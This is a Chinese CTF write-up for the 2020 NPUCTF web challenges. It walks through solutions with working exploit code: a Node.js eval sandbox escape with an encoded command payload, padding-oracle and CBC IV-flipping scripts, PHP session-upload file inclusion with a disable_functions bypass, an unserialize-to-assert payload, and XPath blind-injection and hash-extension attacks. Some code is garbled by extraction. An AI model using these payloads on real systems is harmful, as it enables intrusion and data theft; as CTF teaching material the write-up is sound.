




piu.tw login.php,2020NPUCTF公开赛 WEB部分Writeup

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这两天没事打了一下西工大的校赛，以下是部分WEB题目的write up

查源码

右键不能用，直接在URL前面加上view-source:即可

验证马

考察点: node.js数组特性、利用链构造、bypass

题目:

```
const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');
const fs = require('fs');
const crypto = require('crypto');
const keys = require('./key.js').keys;

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?|[(]+\-*/*&|^%<=>=?|?:|(?:\d+\.\d*(?:e\d+)?)|/g, "")) {
    return null;
  }
  return eval(str);
}

// 2020.4/WORKER1 淦，上次的库太垃圾，我自己写了一个
const template = fs.readFileSync('./index.html').toString();

function render(results) {
```

```
return template.replace('{{results}}', results.join('
'));
}
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
app.use(cookieSession({
name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿，给爪8
keys
}));
Object.freeze(Object);
Object.freeze(Math);
app.post('/', function (req, res) {
let result = "";
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first !== second && md5(first+keys[0]) ===
md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
```

```
}  
  
req.session.results = results;  
  
res.send(render(req.session.results));  
  
});  
  
// 2019.10/WORKER1 老板娘说她要看到我们的源代码，用行数计算KPI  
  
app.get('/source', function (req, res) {  
  res.set('Content-Type', 'text/javascript;charset=utf-8');  
  res.send(fs.readFileSync('./index.js'));  
});  
  
app.get('/', function (req, res) {  
  res.set('Content-Type', 'text/html;charset=utf-8');  
  req.session.admin = req.session.admin || 0;  
  res.send(render(req.session.results = req.session.results || []))  
});  
  
app.listen(80, '0.0.0.0', () => {  
  console.log('Start listening')  
});
```

拿到题后，发现这是根据前一阵子的ångstromCTF改的一道题，可参考文章：

<https://www.sigflag.at/blog/2020/writeup-angstromctf2020-caasio/>

首先是一层判断：

```
if (first && second && first.length === second.length && first !== second && md5(first+keys[0]) ===  
md5(second+keys[0])) {
```

即传的值first的长度等于second的长度，但值不能相同，而且first+key的md5要等于second+key的md5，这里便考察了js的数组特性，当数组和字符串相加时，如果有多个值，会将数组先转换为以,拼接的字符串；如果只有一个元素，那么会直接转换为字符：

```
> ['a','b'] + 'c'  
< "a,bc"  
  
> 1 + 'c'  
< "1c"  
  
> [1] + 'c'  
< "1c"  
  
>
```

或者传递两个相同的数组，因为他们进行比较时，这两个数组的地址不一样，也会被认为不一样：

```
> [0] !== [0]
< true
> |
```

之后将我们传入的参数e进行检测，计算器正则表达式if (str.replace(/(?:Math(?:\.\w+)?)[()+-*/&|^%<=>,?:]|(?:\d+\.\d*(?:e\d+)?)/g, ""))仅允许我们对输入的数字(例如1、1.1)、常用数学符号()+-*/&|^%<=>、Math.xxx格式的字符串的调用

我们可以使用Math.fromCharCode函数来将数字转为想要的字符串；然后通过global变量拿到exec函数，这一点有点类似python沙箱逃逸；之后便可执行任意命令；

构造payload:

```
>>> encode = lambda code: list(map(ord,code))
>>> decode = lambda code: "".join(map(chr,code))
>>> encode("return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()")
```

将这个json数据发包即可拿到flag:

```
{"e": "(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114, 101, 116, 117, 114, 110, 32, 103, 108, 111, 98, 97, 108, 46, 112, 114, 111, 99, 101, 115, 115, 46, 109, 97, 105, 110, 77, 111, 100, 117, 108, 101, 46, 99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114, 46, 95, 108, 111, 97, 100, 40, 39, 99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 39, 41, 46, 101, 120, 101, 99, 83, 121, 110, 99, 40, 39, 99, 97, 116, 32, 47, 102, 108, 97, 103, 39, 41, 46, 116, 111, 83, 116, 114, 105, 110, 103, 40, 41)))(Math+1)", "first": [0], "second": [0]}
```

web狗

考察点: Padding Oracle Attack、CBC加解密

第一层题目:

```
error_reporting(0);
include('config.php'); # $key, *****$file1*****
define("METHOD", "aes-128-cbc"); //定义加密方式
define("SECRET_KEY", $key); //定义密钥
define("IV", "6666666666666666"); //定义初始向量 16个6
define("BR", '
');
if(!isset($_GET['source']))header('location:./index.php?source=1');
#var_dump($GLOBALS); //听说你想看这个?
function aes_encrypt($iv,$data)
```

```

{
echo "-----encrypt-----".BR;
echo 'IV:'. $iv.BR;
return base64_encode(openssl_encrypt($data, METHOD, SECRET_KEY, OPENSSSL_RAW_DATA, $iv)).BR;
}
function aes_decrypt($iv,$data)
{
return openssl_decrypt(base64_decode($data),METHOD,SECRET_KEY,OPENSSSL_RAW_DATA,$iv) or
die('False'); #不返回密文，解密成功返回1，解密失败返回False
}
if($_GET['method']=='encrypt')
{
$iv = IV;
$data = $file1;
echo aes_encrypt($iv,$data);
} else if($_GET['method']=="decrypt")
{
$iv = @$_POST['iv'];
$data = @$_POST['data'];
echo aes_decrypt($iv,$data);
}
echo "我摊牌了，就是懒得写前端".BR;
if($_GET['source']==1)highlight_file(__FILE__);
?>

```

加密时，IV已知，SECRET_KEY未知；解密时，IV和密文可控，解密成功返回1，失败返回FALSE

Padding Oracle攻击；直接看飘零大哥的文章：

<https://skysec.top/2017/12/13/padding-oracle%E5%92%8Ccbc%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB/#Padding-Oracle-Attack%E6%94%BB%E5%87%BB%E8%BF%87%E7%A8%8B>

即我们可以通过构造IV值，利用服务器的返回值判断我们提交的内容能不能正常解密，从而知道解密出的明文的填充位符不符合填充标准；如果符合了，那么可由此得出经过秘钥解密后的值，从而推出正确的明文

CBC解密是，对于每一块消息，先解密消息的最后一个字节，然后解密倒数第二个字节，依次类推

假设8位一组，构造IV每一位都是0x00，Middle为经过秘钥解密后的值，那么对于倒数第一位，下面两个等式成立的情况下都是可以正常解密的：

$$\text{Middle}[8] \wedge \text{初始IV}[8] = \text{plain}[8]$$

$$\text{Middle}[8] \wedge \text{构造IV}[8] = 0x01$$

从而可推出：

$$\text{plain}[8] = 0x01 \wedge \text{构造IV}[8] \wedge \text{初始IV}[8]$$

对于第七位也就是倒数第二位，需要更新构造IV的最后一个字节的值：

$$\text{IV}[8] = \text{Middle}[8] \wedge 0x02$$

爆破出所有Middle值后，和初始IV异或便可得到明文：

$$\text{plain}[8] = \text{Middle}[8] \wedge \text{初始IV}[8]$$

exp.py:

```
import requests

secret = 'ly7auKVQCZWum/W/4osuPA=='

Middle = []

padding = ""

for x in range(1,17): # iv位
    for y in range(0,256): # iv值
        if y == 255: # 排错
            exit()
        IV = chr(0) * (16-x) + chr(y) + padding
        url = 'http://webdog.popscat.top/index.php?source=0&method=decrypt'
        data = {
            'iv': IV,
            'data': secret
        }
        res = requests.post(url, data=data)
        res.encoding = res.apparent_encoding
        if '1' in res.text: # iv值正确
            padding = "" # 清空padding
            Middle.append(y^x) # 添加Middle, Middle[x] == 构造IV[x] ^ 0xN == y ^ x
    print(Middle)
```

for z in Middle:

```
padding = chr((x+1)^z) + padding # 重新计算padding生成新IV
```

```
break
```

```
a = "
```

for i in Middle:

```
a += chr(i^ord('6')) # 注意是字符6，开始被这点坑着了...
```

```
print(a[::-1])
```

得到路径FlagsHere.php，访问后进入下一关：

```
#error_reporting(0);
```

```
include('config.php'); //*****$file2*****last step!!
```

```
define("METHOD", "aes-128-cbc");
```

```
define("SECRET_KEY", "6666666");
```

```
session_start();
```

```
function get_iv(){ //鑿燿垚闈囧満録瀆□錫戰嘶IV
```

```
$random_iv="";
```

```
for($i=0;$i<16;$i++){
```

```
$random_iv.=chr(rand(1,255));
```

```
}
```

```
return $random_iv;
```

```
}
```

```
$lalala = 'piapiapiapia';
```

```
if(!isset($_SESSION['Identity'])){
```

```
$_SESSION['iv'] = get_iv();
```

```
$_SESSION['Identity'] = base64_encode(openssl_encrypt($lalala, METHOD, SECRET_KEY,  
OPENSSL_RAW_DATA, $_SESSION['iv']));
```

```
}
```

```
echo base64_encode($_SESSION['iv'])."
```

```
";
```

```
if(isset($_POST['iv'])){
```

```
$tmp_id = openssl_decrypt(base64_decode($_SESSION['Identity']), METHOD, SECRET_KEY,  
OPENSSL_RAW_DATA, base64_decode($_POST['iv']));
```

```
echo $tmp_id."
```

```
";
```

```
if($tmp_id === 'weber')die($file2);  
  
}  
  
highlight_file(__FILE__);  
  
?>
```

即已知SECRET_KEY，明文和密文；可控参数为IV，需要使解密后的值等于weber

一开始是这么想的，设解密后的中间值为Middle，那么：

由：

$$M[1] \oplus Middle[1] = plain[1]$$

//即 $Middle[1] = M[1] \oplus plain[1]$

且我们想要：

$$\text{构造 } M[1] \oplus Middle[1] = \text{目标 } plain[1]$$

那么：

$$\text{构造 } M[1] = M[1] \oplus plain[1] \oplus \text{目标 } plain[1]$$

但但但但但是，初始明文长度为12，目标明文长度为5，如果翻转的话，字节翻转后的长度还是12，长度对应不上了...


后来一想，由密文和IV异或会得到解密后的Middle值，我们拿这个Middle值去和目标明文异或，便可得到需要构造的IV；exp1.py：

```
import base64  
  
lalala = "piapiapiapia\x04\x04\x04\x04"; # 手动填充  
  
IV = base64.b64decode('ludqzE2tdLMamT xuqFGENA==')  
  
plain = 'weber\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b' # 手动填充  
  
new_iv = bytearray(16)  
  
for i in range(16):  
  
    new_iv[i] = ord(lalala[i]) ^ IV[i] ^ ord(plain[i])  
  
    print(new_iv)  
  
    print(base64.b64encode(new_iv))
```

第三关给了个HelloWorld.class文件，用java HelloWorld运行：

众所周知，你是一名WEB选手，掌握javaweb也是一项必备技能，那么逆向个java应该不过分吧？

拖进IDA打开，发现一堆ASCII码，转为字符后得到FLAG



超简单的PHP!!! 超简单!!!

考察点: 文件包含RCE、绕过disable_functions

首先, 有个很明显的文件包含



尝试用php://filter读取/flag, 未果, 那么读取源码:

?action=php://filter/read=convert.base64-encode/resource=index.bak.php

得到:

```
session_start();
```

```
if(isset($_GET['action']))
```

```
include $_GET['action'];
```

```

exit();
} else {
header("location:./index.bak.php?action=message.php");
}

```

可以看到这里未对include的文件名进行过滤，可以想到使用session包含或者上传临时文件进行包含；题目给了phpinfo：

auto_globals_jit	On	On
auto_prepend_file	no value	no value
browscap	no value	no value
default_charset	UTF-8	UTF-8
default_mimetype	text/html	text/html
disable_classes	no value	no value
disable_functions	pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passsthru,symlink,link,symlink_imap_open,ldap,mail,scandir,readfile,show_source,fpassthru,readdir	pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passsthru,symlink,link,symlink_imap_open,ldap,mail,scandir,readfile,show_source,fpassthru,readdir
display_errors	Off	Off
display_startup_errors	Off	Off
doc_root	no value	no value
docref_ext	no value	no value

session.cookie_domain	no value	no value
session.cookie_httponly	Off	Off
session.cookie_lifetime	0	0
session.cookie_path	/	/
session.cookie_secure	Off	Off
session.entropy_file	/dev/urandom	/dev/urandom
session.entropy_length	32	32
session.gc_divisor	1000	1000
session.gc_maxlifetime	1440	1440
session.gc_probability	1	1
session.hash_bits_per_character	5	5
session.hash_function	0	0
session.lazy_write	On	On
session.name	PHPSESSID	PHPSESSID
session.referer_check	no value	no value
session.save_handler	files	files
session.save_path	no value	no value
session.serialize_handler	php	php
session.upload_progress.cleanup	On	On
session.upload_progress.enabled	On	On
session.upload_progress.freq	1%	1%
session.upload_progress.min_freq	1	1
session.upload_progress.name	PHP_SESSION_UPLOAD_PROGRESS	PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.prefix	upload_progress_	upload_progress_
session.use_cookies	On	On
session.use_only_cookies	On	On

看到session存储路径这一配置是没有值的，即采用了默认值，那么默认值一般是这些路径：

- /tmp/
- /var/lib/php/sessions/
- ...

使用脚本尝试发现正确路径为/tmp，然后开始使用var_dump(scandir('/')); (这里disable functions配置写错了，因此可以使用scandir)查看根目录路径，发现了flag文件但是无法读取，那么说明对权限做了限制，那么就要执行系统函数

对于disable_functions，网上有个利用php内核方面的exp，可以拿来直接bypass，项目地址：

<https://github.com/mm0r1/exploits>

这里直接将上面这个exp写到了/tmp目录下，写入后使用include来包含执行，这里为了方便将exp进行base64编码了两次；

脚本如下：

```
import requests
import threading

url='http://ha1cyon-ctf.fun:30124/index.bak.php'

r=requests.session()

headers={

"Cookie":'PHPSESSID=123456'

}

def POST():

while True:

files={

"upload": "#上传无效的空文件

}

"""

data={

"PHP_SESSION_UPLOAD_PROGRESS": "\"<?php echo
'asdf';var_dump(scandir('/tmp/'));file_put_contents('/tmp/b.php',
base64_decode(base64_decode('UEQ5d2FIQUtDaU1nVUVoUUIEY3VNQzAzTGpRZ1pHbHpZV0pzWlY5bWR)
?>\""

}

"""

data={

"PHP_SESSION_UPLOAD_PROGRESS": "\"<?php echo 'asdf'; include('/tmp/b.php'); ?>\""

}

r.post(url,files=files,headers=headers,data=data)

def READ():
```

```
while True:
    event.wait()
    t=r.get("http://ha1cyon-ctf.fun:30124/index.bak.php?action=/tmp/sess_123456", headers=headers)
    if 'asdf' not in t.text:
        print("[+]retry')
    else:
        print(t.text)
        print('over')
        event.clear()
        event=threading.Event()
        event.set()
        threading.Thread(target=POST,args=()).start()
        threading.Thread(target=READ,args=()).start()
        threading.Thread(target=READ,args=()).start()
        threading.Thread(target=READ,args=()).start()
```

RealEzPHP

考察点：反序列化、PHP特性、绕过disable_functions

题目：

```
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
```

```

}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);

```

2020-04-20 02:06:48

简单的反序列化，接收两个参数，并动态调用类中的\$b函数；在响应头中发现php7.0，那么可用assert执行任意代码，然后和上面思路一样，将bypass disable_functions的exp写到文件内然后包含执行；构造payload：

```

class HelloPhp
{
public $a;
public $b;
}
$a = new HelloPhp();
#$a->a = 'highlight_file("/tmp/a.php")';
$a->a = 'include("/tmp/a.php")';
#$a->a = 'file_put_contents("/tmp/a.php", base64_decode(base64_decode($_POST["t"]))));
$a->b = "assert";
echo urlencode(serialize($a));

```

之后在当前进程环境变量中找到flag：

```

1 PHP_EXTRA_CONFIGURE_ARGS=--with-apxs2 --disable-
cgi[APACHE_CONFIGDIR=/etc/apache2]HOSTNAME=658e4807a3f[PHP_INI_DIR=/usr/local/etc/php]SHLVL=0[PHP_EXTRA_BUILD_DEPS=apache2-dev][PHP_LDFLAGS=-Wl,-O1 -Wl,--hash-style=both -
pie][APACHE_RUN_DIR=/var/run/apache2][PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -
O2][PHP_MD5=[PHP_VERSION=7.0.33][APACHE_PID_FILE=/var/run/apache2/apache2.pid][GPG_KEYS=1A4E887277C42E53DBA9C7B9BCAA30EA9C0D5763
0E4F6AB321FDC07F2C332E3AC28F0BC433FC883][PHP_ASC_URL=https://secure.php.net/get/php-
.02][PHP_URL=https://secure.php.net/get/php-
7.0.33.tar.xz/from/this/mirror][PATH=/usr/local/sbin:/usr/local/bin:/usr/bin:/sbin:/bin][APACHE_LOCK_DIR=/var/lock/apache2][LANG=C][APACHE_RUN_GROUP=www-
data][APACHE_RUN_USER=www-data][APACHE_LOG_DIR=/var/log/apache2][PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make
pkg-config
re2c][PWD=/var/www/html][PHP_SHA256=ab8c5be6e32b1f8d032909dedaaaa4bbb1a209e519abb01a52ce3914f9a13d96][APACHE_ENVVARS=/etc/apache2/envvars][FLAG=flag{dacf539-b4cc-4247-8318-
b099691c478d}]

```

ezlogin

考察点：CSRF-Token绕过、XPath盲注

以前做的注入题大多都是SQL的，然后这次想了想出了一道简单的XPath注入题，许多师傅可能抓包看到了提交格式为XML(也算种提示)，然后进行了XXE的测试，但这道题目进行了token验证，因此是行不通的；然后在登录的时候做了限制，开始想着用验证码的，不过怕被打...改成了token验证，验证流程为：每次访问的时候会将随机生成的token写入到session中，然后将token传到html页面的隐藏表单中，下一次请求时将表单token值与session存储的值进行对比，而且session失效时间设置为15s。因此只能在15s内登录1次，不能重放

那么通过写脚本构造随机的sessid，然后请求拿到对应的token，再使用这个sessid和token进行请求，便可进行正常测试

XPath是XML的路径语言，使用路径表达式来选取XML文档中的节点或者节点集，本道题目的XML内容为：

1

guest

e10adc3949ba59abbe56e057f20f883e

2

adm1n

cf7414b5bdb2e65ee43083f4ddbc4d9f

如果是随便输入的用户名，会显示用户名或密码错误；如果在username处输入：

1' or 1 or '

密码随便输入，会显示：

非法操作

一般注入语句为：

拿到一级标签内容

```
1' or substring(name(/*[position()=1]),{},{},1)='{}' or '1'='1
```

获得username标签中的内容

```
1' or substring(/root/accounts/user[2]/username/text(),{},{},1)='{}' or '1'='1
```

贴一下exp，写的比较烂师傅们看看就好：

```
import requests
```

```
import string
```

```
import re
```

```
import random
```

```
url = 'http://127.0.0.1:10000/login.php'
```

```
dic = string.ascii_letters + string.digits
```

```
# 获取token和SESSID
```

```
def get_token():
```

```
headers = {
```

```

"Cookie": "PHPSESSID=" + str(random.randint(1,9999999999))
}

req = requests.get(url, headers=headers)

token = re.findall("token" value="(.*?)", req.text)[0]

return token, headers

def get_value(*params, position=1):

text = ""

# 获取各节点值

if len(params) == 0:

data = "1' or substring(name(/*[position()=" + str(position) + "]),{},{,1)='}' or '1'='11}"

elif len(params) == 1:

data = "1' or substring(name(/" + params[0] + "/*[position()= " + str(position) + "]),{},{,1)='}' or '1'='11}"

elif len(params) == 2:

data = "1' or substring(name(/" + params[0] + "/" + params[1] + "/*[position()= " + str(position) + "]),{},{,1)='}' or '1'='11}"

elif len(params) == 3:

data = "1' or substring(name(/" + params[0] + "/" + params[1] + "/" + params[2] + "/*[position()= " + str(position) + " + "]),{},{,1)='}' or '1'='11}"

elif len(params) == 4:

data = "1' or substring(name(/" + params[0] + "/" + params[1] + "/" + params[2] + "/" + params[3] + "/*[position()=" + str(position) + "],{},{,1))='}' or '1'='11}"

# 获取用户名和密码

elif len(params) == 5:

#data = "1' or substring(/root/accounts/user[2]/username/text(),{},{,1)='}' or '1'='11}"

data = "1' or substring(/root/accounts/user[2]/password/text(),{},{,1)='}' or '1'='11}"

for i in range(1,40):

for j in dic:

token, headers = get_token()

headers["Content-Type"] = "application/xml"

payload = data.format(i, j, token)

res = requests.post(url, headers=headers,data=payload).text

if '非法操作' in res:

```

```
text += j
print(text)
break
return text
v1 = get_value()
print(v1)
v2 = get_value(v1)
print(v2)
v3 = get_value(v1, v2)
print(v3)
v4 = get_value(v1, v2, v3)
print(v4)
v4_1 = get_value(v1, v2, v3, position=2)
print(v4_1)
v4_2 = get_value(v1, v2, v3, position=3)
print(v4_2)
v5 = get_value(1,2,3,4,5)
print(v5)
```

拿到用户名和密码后，只需将密码md5解密后即可登录，登录后查看页面源码，发现提示



```
1 Welcome!
2 ZmxhZyBpcyBpbiAvZmxhZwo=
3
4 <!DOCTYPE html>
5 <html>
6 <head>
7   <meta charset="UTF-8">
8   <title>Welcome</title>

```

```
gtfly@ubuntu: ~
文件(F) 编辑(E) 查看(V) 搜索(S) 终端(T) 帮助(H)

~
▶ echo ZmxhZyBpcyBpbiAvZmxhZwo= | base64 -d
flag is in /flag

~
▶
```


看到?file=welcome, 尝试去访问/welcome, 发现可以请求到这个文件, 那么这里便可能存在文件包含; 然后返回内容中不能出现flag, 还对参数进行了检测, 不能出现php、base、read关键字, 但没有检测大小写; 这里直接给出最后的payload:

Php://filter/string.rot13/resource=/flag



```
1 synt{2r3501ss-s117-415o-oq77-5614432228po}
2
3 <!DOCTYPE html>
4 <html>
5 <head>
6   <meta charset="UTF-8">
7   <title>Welcome</title>
8   <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
9   <link rel="icon" href="http://blog.wuui.com/images/favicon.ico?v=5.1.1" type="image/x-icon">
10  <link rel="stylesheet" href="static/admin/css/reset.css">
11  <link rel="stylesheet" href="static/admin/css/style.css" media="screen" type="text/css"/>
12  <link rel="stylesheet" href="static/admin/css/main.css" media="screen" type="text/css"/>
13 </head>
14 <body>
15 <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" xml:space="preserve" xmlns:xml="http://www.w3.org/XML/1998/xml">
16   <defs>
17     <pattern id="image" width="1" height="1" viewBox="0 0 100 100" preserveAspectRatio="none">
18       <image xlink:href="static/admin/pattern_141.gif" width="100" height="100" preserveAspectRatio="none"></image>
19     </pattern>
```


ezinclude

考察点: hash扩展攻击、文件包含

在response header中发现Cookie字段:

Hash=fa25e54758d5d5c1927781a6ede89f8a

尝试提交/?name=gtfly, 神奇的是在header中返回了对应的hash, 将密码替换上给出地址f1f1f1flag.php, 访问后发现跳转, 那么抓包查看:



```
Request
Raw Params Headers Hex
GET /f1f1f1flag.php HTTP/1.1
Host: ha1cyon-ctf.fun:30205
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://www.ha1cyon-ctf.fun:778/challenges
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hash=fa25e54758d5d5c1927781a6ede89f8a

Response
Raw Headers Hex HTML Render
HTTP/1.1 200 OK
Date: Tue, 21 Apr 2020 11:36:33 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.0.33
Vary: Accept-Encoding
Content-Length: 241
Content-Type: text/html; charset=UTF-8

<html>
<head>
<script language="javascript" type="text/javascript">
    window.location.href="404.html";
</script>
<title>this_is_not_f14g_and_出题人_wants_girlfriend</title>
</head>
<body>
include($_GET["file"])</body>
</html>
```

又是文件包含...和上面做法一样即可

用hash扩展攻击的做法

这里用了一个工具:

<https://github.com/JoyChou93/md5-extension-attack>

这个工具比较方便的是, 只需要输入hash、追加的明文以及salt和原字符的长度即可生成相应payload:


```
gtfly@ubuntu: ~/桌面/Tools/hash长度扩展攻击/md5-extension-attack
文件(F) 编辑(E) 查看(V) 搜索(S) 终端(T) 帮助(H)
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<script language="javascript" type="text/javascript">
    window.location.href="flflflflag.php";
</script>
<html>
<!--md5($secret.$name)===$pass -->
</html>
32
Tools/hash长度扩展攻击/md5-extension-attack  master ✖
1413d
SecIN@gtfly
```

最后是一道java的题目，可惜太菜了java实在是不会...虽说比赛过程中有人搅屎平台老是down，但总的来说题目质量还不错，学到了不少东西。